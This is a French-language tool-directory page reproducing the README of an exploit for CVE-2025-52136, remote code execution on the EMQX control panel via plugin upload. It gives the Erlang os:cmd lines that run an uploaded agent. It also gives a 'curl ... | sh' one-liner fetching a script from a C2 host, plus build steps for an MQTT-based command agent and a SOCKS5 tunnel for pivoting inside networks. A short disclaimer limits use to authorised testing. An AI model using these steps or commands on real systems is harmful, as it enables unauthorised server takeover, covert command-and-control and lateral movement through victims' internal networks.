Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-52136 — Exploit pour CVE-2025-52136 permettant une exécution de code à distance (RCE) sur le panneau de contrôle EMQX via le téléchargement de plugin, avec un agent de commande basé sur MQTT et un tunnel SOCKS5 pour la communication C2 hors bande et le pivotement réseau. | Kitploit
Outils/GitHubGitHub/f1r3k0/cve-2025-52136
ExploitationMouvement LatéralExploitation d'Applications WebCommandement et ContrôleOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubf1r3k0/cve-2025-52136

CVE-2025-52136

Exploit pour CVE-2025-52136 permettant une exécution de code à distance (RCE) sur le panneau de contrôle EMQX via le téléchargement de plugin, avec un agent de commande basé sur MQTT et un tunnel SOCKS5 pour la communication C2 hors bande et le pivotement réseau.

Voir le dépôt
522il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-52136

https://github.com/ricardojoserf/emqx-RCE
La méthode d'exploitation d'origine consiste à téléverser un plugin EMQX, puis à ajouter dans le code du modèle du plugin un appel au module Erlang `os` pour exécuter des commandes système et obtenir une RCE.

Dans un environnement avec accès sortant, où curl est présent par défaut, il est possible d'utiliser directement curl http://xx.xx.xx.xx/1.sh | sh pour établir une connexion vers le C2.

Lorsque la cible n'a pas d'accès sortant, comme EMQX est lui-même un serveur de messages MQTT, il est possible de combiner le téléversement du plugin pour exécuter un programme téléversé sur le serveur EMQX. En utilisant EMQX comme cœur de la file de messages MQTT, le programme déployé agit directement comme un « proxy de commandes système » : il s'abonne aux commandes envoyées par le client, puis publie les résultats d'exécution sur un sujet.

Conception

       +-------------+
       |   Client    |
       | Envoie cmd  |
       | Sujet: rx/cmd|
       +------+-------+
              |
           MQTT Broker (EMQX)
              |
       +------+-------+
       | Proxy de cmd |
       | Abonné rx/cmd|
       | Exécute cmd  |
       | Publie tx/cmd|
       +--------------+

Compilation et utilisation

go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go

Ensuite, en suivant la méthode d'exploitation de l'auteur d'origine, ajoutez trois lignes dans my_emqx_plugin.erl :

    os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
    os:cmd("chmod +x /tmp/mqtt_agent"),
    os:cmd("bash -c \"/tmp/mqtt_agent\""),

Après avoir compilé le plugin, utilisez n'importe quel outil de compression pour placer mqtt_agent dans le répertoire my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\

tar.gz

Téléversement du plugin plugin

Ensuite, côté client, ajoutez un abonnement au sujet tx/cmd et publiez sur le sujet rx/cmd pour l'utiliser.

cmd

Tunnel proxy

De la même manière, via MQTT, il est possible d'ouvrir un tunnel entre le Client et l'Agent, de transférer les données TCP dans les deux sens via MQTT vers l'Agent interne, puis l'Agent se connecte à la machine cible interne pour réaliser une traversée du réseau interne.

Cette approche présente certaines limites :

  1. Bande passante et latence MQTT
  2. Connexions simultanées élevées
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid

go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go

L'utilisation est similaire au processus RCE décrit ci-dessus ; ici, on utilise directement un port local pour créer un tunnel SOCKS5 afin de transférer le trafic.

Remarques côté Agent

  • L'Agent doit être compatible avec les sujets personnalisés et les messages de contrôle (open/ack/close, data/c2a, data/a2c)
  • L'Agent s'abonne à tunnel/+/+/ctrl et tunnel/+/+/data/c2a
  • L'Agent publie vers tunnel/{session}/{connID}/data/a2c ainsi que l'ack vers .../ctrl

Le tunnel proxy doit être compilé et utilisé par vos soins.

Avertissement

Cet outil est destiné uniquement à une utilisation dans un environnement autorisé ou de test ; toute utilisation illégale est strictement interdite.

Télécharger l’outil